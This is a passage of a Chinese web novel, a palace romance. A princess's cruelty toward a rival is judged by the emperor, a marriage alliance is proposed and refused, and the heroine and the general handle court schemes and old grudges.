她不惜得罪死丞相府,为的就是再次向姜夜沉证明,她曾经当众退亲是一时冲动,罪魁祸首是柳丽云。
她何其无辜。
何其委屈。
她早就知道错了,放下骄傲一再求姜夜沉原谅。
凝玉公主眼圈发红,一副受尽委屈的可怜模样,说道,“姜夜沉,你看见了吧,徐氏对你也是虚情假意,唯有本宫,真心实意爱着你。”
“本宫命人挑断柳丽云的手脚筋,还亲自把柳丽云变成丑八怪,姜夜沉,你可满意本宫对她的报复?”
“姜夜沉,本宫这么做,都是为了你啊。”
又说,“姜夜沉,本宫也是受害者啊。”
“让我们回到从前,继续婚约,好不好?”
徐慧珠不禁想,她这个时候若告诉凝玉公主真相,她以身治愈姜夜沉,身上欢好痕迹
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还新鲜着。凝玉公主会不会发狂,扑上来撕咬她,掐死她?
“凝玉公主,请您自重。”姜夜沉语气冰冷淡漠。
这时,桑氏和府官大人同时赶到将军府。
原来,在入洞房前,桑氏给柳丽云立一番规矩,再加上徐慧珠先前的威胁,柳丽云预感自己定会很快死在相府后宅。
她吓坏了。
钱相爷躺在床上目色无光,不知做出一副生无可恋的鬼样子给谁看?
他一瞧见柳丽云,先是裹紧锦被,接着不受控地呕吐。
吐的顾不上她。
柳丽云当下决定如五年前,逃回溟山。
不过,在逃之前,她没忍住趁钱相爷病暴揍他一顿,将人打的奄奄一息,单是身上的伤,没三两个月,怕是出不得门,见不得人。
桑氏第一时间报官,府官大人派出的官差还没抓到柳丽云,就偶遇入宫的大福。
大福只说,柳丽云人在将军府,受了重伤。
桑氏眼生好奇,直白问道,“柳丽云忤逆皇后娘娘懿旨,打伤相爷,还当逃妾……凝玉公主您是奉皇后娘娘之命来问罪柳丽云?”
“臣妇谢过。”
这?
桑氏一开口就将凝玉公主架起来。
“府官大人,请您尽快查明谁重伤的柳丽云,早日将‘真凶’捉拿归案。”
“不然,怕会传出流言蜚语,说我身为相府大夫人,心肠歹毒,无容人之量,表面假惺惺替夫君纳妾,实则要柳丽云一个妾室的性命。”
“这冤,我可不愿意受。”
“这黑锅,我更不乐意背。”
府官大人心领会神,当即表态,“既然柳夫人人在将军府,本官这就当面询问……”
气氛烘托到这儿了,徐慧珠自然与桑氏一唱一和。
“府官大人且慢。”
“凝玉公主将柳夫人送到将军府之时,人伤得极重,已陷入昏迷。我为柳夫人检查身子,手脚筋皆断,容貌尽毁,喉咙处有**残留……莫说柳夫人不知何时能清醒,就是人醒来,也成了哑巴。”
“至于伤柳夫人的‘真凶’?”
第206章:事出有因
徐慧珠看了一眼凝玉公主,实话实说,“府官大人不必询问。”
“凝玉公主刚才当众承认,是她下达命令,挑断柳夫人的手脚筋,划花柳夫人的脸……”
姜夜沉接话,“府官大人,夫人句句属实,将军府上下皆可作证。”
“凝玉公主敢作敢当,想必不屑反口。”
“再说,凝玉公主扬言一半缘由为本将军,虽然本将军不明其意,但这份人情,待真相明了,本将军也是记的。”
凝玉公主听话不听音,只听见姜夜沉说记她的情。
她就知道,姜夜沉心里有她。
她心悦的男人,允许他脾气大一点,难哄一点儿。
凝玉公主脑子一热,脱口而出,“可,本宫没喂柳丽云那个**哑药啊。”
府官大人摇头叹息,皇上一代明君,英明睿智,凝玉公主这条血脉,恐怕是皇上人生里的一大败笔。
“凝玉公主,如此说来,柳夫人受伤,当真与您有关?”
凝玉公主脑子蠢,脾气大,嘴巴犟,她丝毫不觉得自己重伤柳丽云有什么不对,她抬抬手收拾一个**罢了。
有什么可大惊小怪的。
凝玉公主不屑撒谎,冷哼道,“是又如何?”
“柳丽云那个**害惨本宫,本宫不过惩罚一顿,看在钱相爷的脸面上,还留她一条贱命,已是本宫心善大度、仁至义尽。”
府官大人在办案过程中,时常见识犯罪嫌疑人在证据确凿之时还理直气壮,或大言不惭辩解自己无错无罪。
虽说见识越多,接受能力变强,但还是被凝玉公主震惊到了。
身为皇族公主,是不懂还是无视安国律法?
犯罪无需受罚?**无需偿命?这便是堂堂皇族公主的教导?
好在李大监来得及时。
及时救场。
大福入宫替姜夜沉向皇上告状,此事,最终由皇上定夺。
凝玉公主面上一喜,不等李大监开口,抢先一步问道,“李大监,你来做什么?”
“难道父皇已听闻柳丽云那个**做下的恶事,知道本宫和姜夜沉都是受害者,要为我们做主?”
凝玉公主满眼含情看着姜夜沉,“本宫会求父皇重下赐婚旨意,由内务府操办一场安国史上规模最盛大,排面最奢华的婚礼,姜夜沉,属于本宫和你的婚礼。”
“姜夜沉,你可欢喜?”
众人:……
这话,惊的李大监怀里的拂尘差点掉在地上。
李大监暗暗摇头,默默叹息,他都替皇上觉得丢人丢面。
“奉皇上口谕,宣凝玉公主、大将军、温德夫人、徐夫人等即刻入宫。”
想到凝玉公主这回犯的蠢,李大监提醒道,“凝玉公主,皇后娘娘也在御书房等您。”
话落入凝玉公主耳中,又又又被她曲解,得意道,“本宫乃嫡公主,父皇母后万不会让本宫受此委屈。柳丽云那个**害惨本宫,哼,本宫要将她剥光,游街示众,遭受世人唾弃,也让天下人知道敢害本宫的下场。”
李大监:老奴……尽力了,凝玉公主这德性,教不会救不活。
他一个无根之人,可怜的奴才都忍不住同情黄金座上的君王了。
皇上苦啊。
“凝玉公主,您……您还是先入宫,莫让皇上、皇后娘娘久等。”李大监劝道。
话,已让李大监说的够明白了。
可惜,对牛弹琴。
凝玉公主还没“牛”聪慧。
“催什么催,本宫话还未说完。”
“李大监,你莫仗着在父皇身边伺候,就得意忘形,竟敢以下犯上?哼!”
李大监:原谅他,是他烂好心了。
“凝玉公主您教训的是,老奴知错。”
“知错能改善莫大焉,本宫今日心情不错,这回就原谅你的冒犯,若是再有下次,本宫定要治你个大不敬之罪。”
此刻,凝玉公主需要一面铜镜,照一照,她得意忘形的嘴脸。
凝玉公主也不顾忌一二柳丽云的身份,皇后娘娘册封的丽云郡主,钱相爷新纳的贵妾,再不济还能和姜夜沉扯上亲戚关系。
凝玉公主这是一人痛快,难受所有人。
关键是,她觉得自己万般有理,千般没错。
徐慧珠生出一种冲动,身为医者,她的手和心发痒,捉住凝玉公主,打开她的脑袋,检查一番凝玉公主的大脑构造。
她怀疑,凝玉公主出生时,脑袋里少了一样东西。
凝玉公主自顾自地下令,“来人,带上柳丽云那个**入宫。”
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禁卫军不敢动,齐刷刷看姜夜沉的脸色。
也是,先前那五十名禁卫军,其中不乏世家子弟,如今还在悦城挖矿。
谁敢得罪姜夜沉?
不要前程?
不要荣华富贵?
不要性命?
“普神医正在诊治,柳夫人还未脱离危险,凝玉公主要拖着一个**入宫面见皇上、皇后娘娘,悉听尊便。”
“不过,本将军提醒凝玉公主,一个**能有什么用处。”
凝玉公主听劝,只听姜夜沉的劝。
她就知道,误会解开,姜夜沉便不会再恨她闹脾气。
这不,姜夜沉语气听着冷淡,却透着她能感知到的温柔。
“姜夜沉,本宫听你的。”
众人:……
无话可说。
御书房的烛火亮至深夜。
托姜夜沉的福,徐慧珠赏了一场精彩大戏。
姜夜沉护紧徐慧珠,嘴皮如利刃,根本不给凝玉公主伤她的机会。
他平静叙述事情经过,如旁观者。
“回禀皇上,凝玉公主命人施暴柳丽云之时,就在丞相府的后巷,有两名目击者,皆为丞相府奴仆。”
“温德夫人保证,这两名奴仆守口如瓶。”
桑氏接话,“是。”
“臣妇以性命起誓,绝不会从丞相府流传出半句于有损皇家清誉的污言。”
皇上满意地点头。
皇上不是偏帮凝玉公主,实在是凝玉公主对丞相妾室动用私刑,重伤致残,影响恶劣。一旦传出去,朝臣百姓怎么想?坞国、仓国又岂会放过大作文章的机会。
坐在黄金座得位置,皇上想的长远。
姜夜沉又说,“凝玉公主拖着重伤昏迷的柳丽云闯入将军府大闹,臣……万般疑惑。”
“臣顾不得其他,救人为先。”
偏偏,皇上还能说出夸赞姜夜沉的话,“夜沉,你做得很好。”
“凝玉任性妄为,不知所谓,夜沉,你……受委屈了。”
徐慧珠不由得抬眼,飞速看一眼皇上。
皇上对姜夜沉的好,连她都忍不住羡慕嫉妒了。
果然,皇后娘娘嘲讽道,“恕本宫眼拙,没看出来姜夜沉哪里受了委屈。”
“皇上,凝玉这回是冲动了些,但事出有因……”
第207章:此女,勉强配得上将军
皇后娘娘话未说完,皇上厉声训斥,“事出有因?”
“有什么因?”
“本皇早就跟你说过,看着凝玉,用心教导凝玉,可皇后,你在做什么?你在忙什么?”
没人敢欣赏帝后吵架,这可不是寻常夫妻吵架,一个不好,殃及看客的性命。
“父皇?”凝玉公主看不清形势,她想要插话,求父皇重新赐婚,好让她和姜夜沉这一对有情人终成眷属。
她不就出宫一趟打残柳丽云那个**嘛,有什么值得讨论?重要过她的婚事?
哪知,皇上震怒,“闭嘴。”
“凝玉,你敢说一句,就滚回皇陵,别再想回宫了。”
凝玉公主吓的赶紧捂住嘴巴。
李大监赶忙倒一杯凉茶,姜夜沉顺手接过,奉给皇上,“皇上息怒。”
皇上一口喝下凉茶,怒色渐缓,“加了薄荷?”
“是,皇上。”
“徐夫人说,凉茶里家一两片薄荷,口感清爽,还有舒心效用。”
皇后娘娘气不顺,几片破薄荷叶就入了皇上的眼?
“李大监,你可知罪?”
李大监一头雾水,皇后娘娘冲他发难,走的是哪步棋?
“老奴愚钝,还请皇后娘娘示下。”
“李大监,你是伺候皇上的老人儿了,难道不清楚宫里的规矩?”皇后娘娘借题发挥,剑指徐慧珠。
“皇上乃万金之躯,何等尊贵,日常饮食由医正和膳食坊负责,你怎能听信徐氏的话,擅作主张?”
“万一出什么事,是李大监你一介奴才能负责?还是徐氏一个略懂医术的妾能承担?”
“事关皇上,无一例外,皆是头等大事。”
皇上刚饮下两盏凉茶,心里的怒火渐熄,又被皇后娘娘三言两语挑起。
此刻,徐慧珠乖顺地站在姜夜沉身侧,即便被皇后娘娘针对,她神情淡定,未见惊慌。
可见,是个稳得住的。
人,就怕对比。
太子处处比不过姜夜沉,如今看来,凝玉公主这个亲生女儿远远不如徐慧珠贴心、孝顺。
凝玉公主长这么大,连一回茶都没给他这个父皇煮过。
一味索取,永不满足,难道就没想过自己该付出些什么?
“够了。”
皇上一记眼神扫过去,皇后娘娘吓得身子发软,嘴硬道,“皇上,臣妾一心为您啊。”
“您是臣妾的夫君,臣妾关心您,事事为您着想,也错了吗?”
皇后娘娘自觉委屈,眼泪唰唰往下流。
既然皇后娘娘点名说到徐慧珠,靠山就在身旁站着,她有何惧?
自然有底气怼皇后娘娘几句,过过嘴瘾,也让有些人认清楚现实,她这个将军妾,瞧着不像软柿子,捏着更不是软柿子。
想捏她?门都没有。
“回禀皇后娘娘,在凉茶里加薄荷叶,民间常见,并不稀奇。民间还有一种面食,名为凉面,可搭配薄荷叶,清爽可口,最宜炎炎夏日食用。”
“臣妇虽加入太医院时日尚短,但臣妇闲暇之余求元乐长公主和襄王妃亲授规矩。皇后娘娘您说得对,皇上万金之躯,事关皇上,都是顶破天的大事,所以臣妇早先禀告过医正大人,层层上报,确认于皇上龙体有利无害,李大监才敢泡这盏薄荷凉茶。”
“还请皇后娘娘明鉴。”
徐慧珠这一番话说的,跟扇皇后娘娘耳光无疑。
当着皇后娘娘面,暗讽她孤陋寡闻,眼里只有权势富贵,根本没有苍生万民。
没想到,皇上竟露出一抹欣慰的笑意,心想:此女,勉强配得上夜沉。
好在,皇后娘娘不是皇上腹里的蛔虫,不然,若是窥探到皇上心里的想法,可能会失控,扑上去挠花皇上的脸。
“夜沉,你还有话说?”
“是。”
还是皇上懂姜夜沉。
不,是两人在朝夕相处中,建立起坚不可摧的默契。
姜夜沉奉上仓国国书,“仓国国君愿以百万聘礼、贵妃尊位求娶我安国公主,以彰显仓国与安国缔结友好的诚意。”
众人:话题突然一下转到朝政大事,两者之间,有何关联?
皇上深深看了一眼姜夜沉,他何尝不知,定是凝玉公主做得太过分,姜夜沉烦不胜烦、忍无可忍,才反击。
他能理解。<
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br>亦感同身受姜夜沉的愤怒、烦闷。
如若凝玉公主不是他的血脉,早就杖毙了。
徐慧珠眼睛发亮,她似乎想到姜夜沉要做什么。
难怪?
难怪姜夜沉先前同她八卦仓国国君,能力和手段皆在平庸之上,但越老越嗜好美色,后宫美人多到安置不下,为此扩建皇宫,大兴土木。
“凝玉公主身为安国嫡长公主,身份尊贵无双,受百姓供奉,臣以为凝玉公主可胜任和亲仓国之重任。”
凝玉公主的确是和亲的最佳人选,以凝玉公主的绝色容貌,定能得仓国国君宠爱,只要她不作死,就不会死。
姜夜沉哪里是商讨政事,他当着所有人面,正大光明地报复凝玉公主。
“不。”
皇后娘娘和凝玉公主异口同声拒绝,语调都变得尖锐。
皇后娘娘厉声质问,“姜夜沉,你是何居心?”
“凝玉错了,错在爱上你这个不折不扣的冷血混蛋,你不爱不理凝玉,还将凝玉的自尊脸面踩在脚下……好好好,这些就算是凝玉眼瞎心盲的报应,是凝玉犯蠢犯贱的下场。”
“姜夜沉,你怎能害凝玉?”
“仓国国君的年纪都能做凝玉的祖父,还是个老色胚,后宫里的女子多到他自个儿都不记数……”
“姜夜沉,你是让凝玉年纪轻轻守寡?香消玉殒他国异乡吗?”
皇后娘娘诅咒仓国国君早死?
身为安国皇后,格局狭小,连“口无遮拦”这样的低级错误也犯?
“皇上,姜夜沉这是公报私仇,您不能为了姜夜沉这个不关紧要的外人,逼亲生女儿**啊。”
“呜呜呜……”
刀割破自己的肉,方知疼痛滋味。
生怕皇上听信姜夜沉,皇后娘娘越发口不择言。
“皇上,您万万不能答应啊。”
“皇族适龄公主有好几位,或宗族里那么多郡主、县主,册封其公主,再不济从朝臣府里挑选貌美贵女册封为公主……为何非得本宫的凝玉去仓国受苦受辱?”
总之,和亲公主可以是任何人,绝对不能是凝玉公主......
第208章:被你心悦,是本将军的人生污点
说好听,皇后娘娘爱女心切。
说难听,皇后娘娘这皇宫当的,着实不堪。
皇上眼里的怒色更浓。
莫说仓国国君以百万聘礼、贵妃尊位求娶公主,就是奉上一座城池,皇上不一定答应。
皇后娘娘还不知,自己好一通闹腾,不仅惹怒皇上,还动摇了皇上的心思。
皇上想得遥远,开始思考,若应下仓国国君的国书,趁机在提出一些看似合理的要求,于安国百利无害。
而且,以凝玉公主的折腾劲头,说不得搅浑闹翻仓国国君的后宫,也为安国将蚕食仓国的大计添一缕东风。
“皇后的意思,为国为民的和亲之事,谁都有责任有义务做,唯独身为嫡长公主的凝玉,置身事外?”
皇上的质问,犹如一盆冰水浇透皇后娘娘的身心。
皇后娘娘的理智渐渐回归,她方才醒悟,自己刚刚说错了话。
“皇上,臣妾……臣妾……”
凝玉公主只能在心里埋怨皇后娘娘,失望太多次,就不该再抱希望。
母后口口声声爱她疼她,其实最在乎的是太子,最爱的是自己。
她早就认清楚母后和太子的丑陋嘴脸,见识他们的狠毒心肠。
“哈哈哈……”
凝玉公主笑的泪流满面,“姜夜沉啊姜夜沉,原来你爱的女人,当真是柳丽云那个老**。”
“她又老还是你的长辈,你……你怎么能?”
“本宫没错,谁让柳丽云那个老**敢惦记你,她……活该。”
所有人都说凝玉公主大错特错,她仍执拗地坚持自己没错,错的都是别人。
“本宫好心给柳丽云指了钱相爷的好归宿,姜夜沉,你却报复本宫,要本宫去一个老男人做妾?”
姜夜沉不屑解释,凝玉公主爱怎么误会就怎么误会。
他受够凝玉公主听不懂人话,蠢的让人厌恶,犯恶心。
“凝玉公主,本将军有一句实话要说,被你心悦,是本将军的人生污点。
凝玉公主沉浸在自己编织的梦里,一梦多年,这一回,终是清醒。
她浑身颤抖,手指姜夜沉,嘴唇哆嗦,想要说什么,却猛的吐出一口腥血,向后栽倒。
万幸,太子妃暮歌就站在凝玉公主身侧,她反应迅速,扑过去以身充当凝玉公主的**垫子。
“徐夫人,快……快救凝玉公主。”
一个气人,一个救人。
一个扮演“**凶手”,一个配合演出“救命恩人”。
……
十日后,皇上连下数道旨意。
先是送凝玉公主去一处皇庄静养,再是皇上训斥皇后娘娘乱点鸳鸯谱,国母失德,禁足于君后殿反省,宫务暂且交给太子妃和厉贵妃共同处理。
钱相爷拖着病体入宫向皇上说明内情,凝玉公主因嫉妒之心栽赃他和柳丽云有私情,真相是他们的确困于书房,但什么都没发生。
另一个当事人柳丽云呈上秘信,否认和钱相爷发生肌肤相亲的关系,只求皇后娘娘收回懿旨,她愿一同否认凝玉公主辱她伤她,余生不出溟山。
唯有徐慧珠,平白赏了一场大戏,还因救治柳丽云有功,得到皇上赏赐。
最终,皇上拒绝仓国国君奉上的国书。
不知是皇上到底顾念骨肉亲情,心软了?还是旁的原因。
徐慧珠只觉得遗憾。
不成想,凝玉公主给她写了一封信笺,主要意图是欲和她暗里联手,报复负心男人——姜夜沉。
“徐氏,姜夜沉娶你,就是为掩饰他和柳丽云不伦私情的幌子。所以,你去杀了那一对狗男女,本宫保你性命无虞。”
徐慧珠忍俊不禁。
她把信笺拿给姜夜沉看,姜夜沉这才告诉她内情。
“凝玉公主这回豁得出去,她不是闹**,而且存了死志的**。”
“太医们救治整整一个时辰,本已宣告死亡,医女在为凝玉公主净身更衣之时,凝玉公主突然活了过来。”
“皇上的心,还是软了。”
“皇上说,这是凝玉公主的命。”
“凝玉公主,命不该绝。”
姜夜沉眼里的失望情绪闪烁而过,还是被徐慧珠轻易捕捉。
也是,姜夜沉难得在皇上面前为自己讨一回公道。而且,让凝玉公主去仓国和亲,定有旁的谋算。
“将军不如把这封凝玉公主的亲笔信交给皇上,表明将军的态度,只要凝玉公主安分待在皇庄静养,我们就当没有凝玉公主这个人存在。”
“凝玉公主‘死’过一回,心境有所变化,但她蠢如往昔,才会给我写这么
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一封信,妄想利用我报复将军,害将军的命。”
“将军和凝玉公主之间,皇上迟早得做出选择。”
凝玉公主这是爱而不得,再生恨意。
她的爱也好,恨也罢,只会让姜夜沉厌烦。
徐慧珠知晓,若不是顾及皇上,姜夜沉早就送凝玉公主去见阎王了。
性情冷漠,行事狠厉,**如麻,丑闻缠身……才是世人眼里真正的姜夜沉。
姜夜沉眼色微动,“你让我逼皇上?”
“自然不是。”徐慧珠说道,“其实,皇上心里早有选择。”
“将军,你明明知道。”
徐慧珠心里隐隐怀疑,皇上顺着自己的心对姜夜沉好,早已超越君臣,更胜父子。
难道?
……
徐慧珠去紫藤院探望柳丽云,姜夜沉心里的疑惑,她替他问清楚。
紫藤院里,空气里弥漫着药味,金夏规矩地站在门口,看见徐慧珠,压低声音禀报,“一共有两拨人生事。”
“先是院里伺候的粗使奴婢阿翠,偷偷往汤药里下毒。”
“**之毒。”
“橘红暗中跟着,阿翠下毒后,立马向管事请病假,待她回家,亲人惨死在眼前,有人早等候着送她上路。”
“不知为何,阿翠临死之前突然告诉杀她的人,她根本没给柳丽云下毒……”
阿翠是一颗废棋,为银子行恶,死有余辜,不值得橘红相救。
“倒是有一两分聪明,可惜,阿翠的贪婪,阿翠的死,都怪她的这一两分聪明。”
阿翠是谁?
徐慧珠没什么印象,不过随意感叹一句,若阿翠当真聪明,就该珍惜在将军府当奴婢的差事,在外人拿银子收买她时,果断向将军和她投诚,赏银会有,性命能保住,前程不会差。
金夏又说,“昨夜,一名黑衣人潜入紫藤院,奴婢打伤了他,橘红跟踪发现这名黑衣人最后在大皇子府的后巷失去踪迹。”
“天明之时,大皇子府的护卫出城,去了乱葬岗,扔掉一具面目全非的尸体。”
“橘红检查过尸体上的伤痕,确认是那名黑衣人。”
金夏疑惑,“夫人,大皇子殿下和柳丽云无冤无仇,为何要这么做?”
身后,一道熟悉的声音响起......
第209章:床榻是她余生的归宿
“大皇子又想让我欠他一份人情。”
姜夜沉说道,“大皇子不得已放弃黑崖师叔,对大皇子来说,黑崖师叔和柳丽云已是废棋。”
“大皇子还自认为,柳丽云的存在,是我的耻辱,也是麻烦。”
“他杀了柳丽云,栽赃到凝玉公主身上……”
“他一次出手,为我同时解决两个麻烦,岂不是天大的人情,我自当对他感激。”
大皇子李明远的脑回路,还真是清新脱俗。
也值得医者切开他的脑袋,仔细研究。
两人就站在院子里,说话声音不大不小,足够内室里躺在床榻上的柳丽云听得清楚。
徐慧珠心善,在凝玉公主挑断柳丽云的手脚筋后,她命金夏给柳丽云服用解药,重新给柳丽云开口说话的机会。
实在是柳丽云太惨了,手脚无力,床榻是她余生的归宿。
“阿夜?”
柳丽云一句“阿夜”喊出口,人已泣不成声。
“阿夜,对不起。”
“但,阿夜,如果时光逆流,我还是会对你撒谎,撒同样的谎。”
美人病中,即便憔悴不堪,也美的让人心疼、着迷。
可惜,姜夜沉那一双眼睛只看得见徐慧珠,他感受不到柳丽云滚烫的情意,也不屑怜香惜玉。
“阿夜,你我年岁相当,一同长大的情分,又不存在血脉牵绊,这样的我们,为何不能相爱?”
“便是姐姐,她把我当作‘女儿’来养的啊。”
柳丽云口中的“姐姐”,是姜夜沉的生母。
原来如此。
柳丽云一边享受着柳二小姐这层身份带来的好处,一边怨恨身份给予的束缚。
她的心,贪得太过。
“我来告诉你答案。”
“因为,姜夜沉对你从未生出过男女情愫。”
徐慧珠一语戳中真相。
其实,真相早已在柳丽云心里生根发芽,她不愿面对,更阻止真相浮出水面。
“还有,我救你,绝不是出于好心,而且想要凑对你和黑崖。”
“我实在好奇,两个手脚筋尽断的‘有情人’,余生捆绑,朝夕相处,会生情?生怨?还是生恨?”
姜夜沉接话,尽是威胁。
“柳丽云,放在你面前是两条路,一是滚回溟山,二是我给大皇子李明远提供便利,让他杀你嫁祸给凝玉公主。”
在柳丽云看来,两人一唱一和,在她面前显摆“恩爱”。
他们故意伤她、羞辱她。
她不禁想,凝玉公主从丞相府后巷绑走她,毁她容貌,挑断她的手脚筋,姜夜沉的锦衣卫当真不知情?还是受主子命令冷眼旁观?
她更知道,就算她心里有万般不甘,千般怀疑,她除了如他们的愿逃回溟山保命,什么也做不了。
京城比溟山可怕百倍,不,是人心可怕,权势可怖,她只身搅进棋局中,好像被蒙住双眼,连自己是谁的棋子,她都看不明。
她这样的人,不该来京城。
她后悔吗?
不,她不后悔,一如五年前她撒下的弥天大谎,她明知道那样的谎言会让姜夜沉痛苦万分,甚至摧毁他。
她仍奋不顾身地去扑姜夜沉这团火。
“阿夜,如果……如果我死在你面前,往后余生,你……你会记得我吗?”
“柳丽云,你不值得。”这话,是徐慧珠替姜夜沉说的。
“慧珠说得对,柳丽云,你不值得。”
姜夜沉只觉得浑身舒畅,他在一条死胡同里走了五年,直到徐慧珠突然出现,牵住他的手,寻到出口。
当日,锦衣卫护送柳丽云回溟山。
柳丽云刚出紫藤院,徐慧珠就指挥小厮现拆紫藤院,“茅房新址就建在这里,我找大师看过,此处乃风水宝地。”
她住过的院子,怎么就成了修建茅房的“风水宝地”?
还能这样羞辱人。
锦衣卫皆是糙汉子,不懂怜香惜玉的道理,马车一路颠簸,等人到溟山地界,柳丽云身上的伤口再次崩裂,昏迷又痛醒,痛醒又昏迷。
人没死,留着一口气就成。
也算履行承诺。
柳丽云被直接送去溟山后山,与黑崖朝夕相伴。
不过一年光
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景,她厌极,不惜以身引诱一名看守,威胁他杀死黑崖。
黑崖心死,以蛊虫蓄积力气,抱着柳丽云跳下深渊。
他要的是生死相依,以祭奠他卑微可怜的爱情。
这是后话后事了。
京城风平浪静了几日,直到西疆王上官褐携独女上官西环回京,一同回京的还有叶文瑞。
两个月前,上官褐在战役中遭副将背刺,命悬一线之时万幸得叶文瑞相救。
叶文瑞顺势以“西疆王身死”的消息,引诱索罗国大皇子索容白率军偷袭,来一招瓮中捉鳖,重挫敌军,活捉索容白。
这次回京,一是上官褐留京休养,二是押送索罗国大皇子索容白,三是为叶文瑞请功。
此刻,徐慧珠展开密信,坦诚说道,“叶文瑞邀我去软禁凝玉公主的皇庄看戏,将军觉得,我该不该赴约?”
叶文瑞的变化,可谓用翻天地覆来形容。
姜夜沉给出的结论,要么叶文瑞这么多年的纨绔是装的,要么他受情伤后痛彻醒悟。
不管哪一种原因,结果是好的,皆大欢喜。
唯独凝玉公主不信叶文瑞变了。
徐慧珠并未将心里的猜测告诉姜夜沉,一个人的身体里住进新的灵魂,或者经历前世今生又重生,她说出来,寻常之人,谁会相信?
她还没想好,怎么和姜夜沉共享秘密。
当然,她也不会告诉叶文瑞。
姜夜沉看着密信上的字,不知为何,觉得刺眼。
字写得这么好,还签上自己的大名,生怕徐慧珠不知写密信的人是谁,也不怕徐慧珠把这封密信交出去?
叶文瑞对徐慧珠信任如此?
“夫人要独自赴约,不用为夫相陪?”姜夜沉收走密信,摆明不还给徐慧珠。
密信留着,他大有用处。
“为夫心眼小,容不下夫人去私会外男。”
“私会外男?叶文瑞?”
“我对凝玉公主吃剩下的菜,不感兴趣,何况叶文瑞曾想要我的命。若不是看在他是对付凝玉公主一把利刃的份上,我早就送他见阎王了。”
第210章:阿俊之死
徐慧珠语气坚定,一脸认真。
她听得出姜夜沉话里的醋意,虽然姜夜沉莫名其妙吃起叶文瑞的醋,让她感觉意外,但她这人惯会拿捏情绪,不介意说些他喜欢听的好话。
男人嘛,得时不时哄上一哄。
果然,姜夜沉眉色舒展,说道,“夫人人如其名,慧眼识珠。”
夜色渐浓,皇庄好似隐匿在一团暗黑的云雾里,方圆十里,独见它一处寡淡的微光。
“公主殿下,皇后娘娘的意思,叶世子是您离开皇庄的机会,该怎么做,您仔细思量。”
“叶文瑞?”凝玉公主一时愣神,转瞬心里一阵腻烦。
凝玉公主从不觉得自己伤害叶文瑞有什么错,一条围在她身旁,还算乖顺的贱狗而已。
母后什么意思?
还不死心?
她又不是没有思想和情感的物件,任由母后赏赐给叶文瑞,以换取兵权,为太子的前程铺路。
她偏不愿。
更不想如母后的愿,顺母后的意。
“他怎么回京了?”
“听说他去西疆,怎么?没死在战场上。”
“老天瞎眼。”
接着,是瓷器破碎的声响。
凝玉公主心情烦闷之时,就控制不住摔砸东西,连菩萨都咒骂。
或许,凝玉公主对世间万物,一无敬畏之心,二无情感能力。
自凝玉公主来皇庄静养,每三两天就得更换全套茶具摆件。
万幸她生在富贵窝里的皇家,不然,谁家能经得住她如此任性。
“公主殿下说得是。”
锦衣卫何俊跪在地上,他头一回如此近距离窥探凝玉公主的容颜,偷偷看一眼,心跳停滞。
何俊不敢隐瞒,如实禀告叶文瑞在西疆的作为。
“哦?”
“这么说来,叶文瑞竟不是个废物。”
叶文瑞在西疆建功立业,于凝玉公主来说,只轻飘飘感叹一句“不是废物”。
凝玉公主目色尽是嫌恶,即便叶文瑞不在她面前晃荡,只听到他的名字,凝玉公主满心不喜。
“母后糊涂至极。”
“叶文瑞能干或废物,他的死活,与本宫何干。”
“你滚回去告诉母后,她若还想认本宫这个女儿,就莫费旁的心思……本宫死过一回,连死都不惧,还怕威胁。呵!”
何俊禁不住吞咽唾液,可他喉咙干涩,“是,公主殿下。”
他跪得太久,腿脚麻软,一如他此刻慌乱酥痒的心。
他舔舐干燥的唇,鼓足勇气,表白忠心。
“公主殿下,奴才愿为您解忧,求您赐奴才一次机会。”
“您厌恶叶世子,奴才去杀了他,皇后娘娘再不能逼迫您……”
何俊话音未落,一支箭**射入眉心。
“啊……”
何俊眼睛里的画面定格在凝玉公主那张花容失色的脸,这样的一张脸,怎么看着,很丑啊。
“是你!”
“叶文瑞!”
待凝玉公主看清楚行凶者,怒吼着质问,“叶文瑞,你好大的狗胆,敢当着本宫面**?”
何俊的死,凝玉公主不在意。
死一条忠狗罢了。
她身边从不缺少忠狗。
凝玉公主震怒的点在于,叶文瑞突然**,惊吓到了她。
“凝玉公主,臣……又见到您了。”
“皇后娘娘送来密信,臣才知您在京城又受了委屈。”
“臣心急如焚,一路快马加鞭……”
凝玉公主不耐烦打断,“叶文瑞,本宫身边不缺狗。”
从前,她屡次当众骂他“贱狗”。
哪有名门贵公子像极狗皮膏药,贴在一名女子身上,说他是贱狗。
倒是贴切。
叶文瑞不恼不怒,舔着脸搏凝玉公主一笑,举起三根手指发誓,“我叶文瑞这一生所愿,就是做凝玉公主身边最忠诚最温顺的狗。”
“汪汪汪。”
“求凝玉公主怜惜。”
往昔的叶文瑞,**的不自知、不自爱。
凝玉公主冷笑道,“叶文瑞,本宫不妨告诉你真相。”
“你当真以为母后是真心疼爱本宫这个女儿,因为你心悦本宫,才耗尽心力结这一门亲事。呵,母后和太子为了你父亲手里的兵权。”
西疆三分之一的兵权,仍掌控在叶侯爷手中。
叶文瑞心里冷笑不止,又禁不住鄙夷曾经的自
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己,大概是脑袋泡过粪坑,才会心悦凝玉公主这样的女子。
自他“清醒”,看一眼凝玉公主,都忍不住犯恶心。
“公主殿下不愿做皇后娘娘、太子殿下的棋子?”
“臣愿解公主殿下忧而忧,助公主殿下逃离眼下的困境……这世上,不管是谁,万万不能给公主殿下您委屈受,您是千金之躯,自当活得恣意人生。”
“公主殿下,不知,臣说得可对?”
熟悉的讨好,凝玉公主听着顺耳舒心。
“好吧。”
“叶文瑞,本宫就给你一次机会。”
凝玉公主软和语气,心里滋生新的计较。
叶文瑞这条贱狗,本以为是废物,没想到去一趟西疆,倒显出几分本事。
她勉强利用。
“叶文瑞,本宫要你……”
叶文瑞目色落在窗户处,他知道,那里站着他心心念念想见的女子。
他发现,她懂他。
她定会明白,自己同凝玉公主演这一出虚情假意,图谋什么。
他要向她证明,他对凝玉公主死心的坚决。
凝玉公主敢害他的命,他就敢害凝玉公主的命。
但,该如何引诱她一支红杏出墙去?
这个难题,让他心痒难耐,又隐隐兴奋。
皇庄外,叶文瑞的激动心情在看到姜夜沉时,戛然而止。
“徐慧珠?”密信是阿权送的,说是亲自交给金夏,姜夜沉派人日常监视徐慧珠?还是姜夜沉暗里收买徐慧珠的心腹奴婢?
“叶世子该叫我一声‘姨母’。”
“锦言姐姐说过的话,叶世子当作耳边风?直呼姨母的大名,不但没规矩,也是大不孝呢。”
叶文瑞脸上的表情裂开无数条缝隙,难道?
难道徐慧珠当了真?一心想做他的长辈?
他眼里的情意,徐慧珠没瞧见,或根本不懂?
“夫人说得在理。”
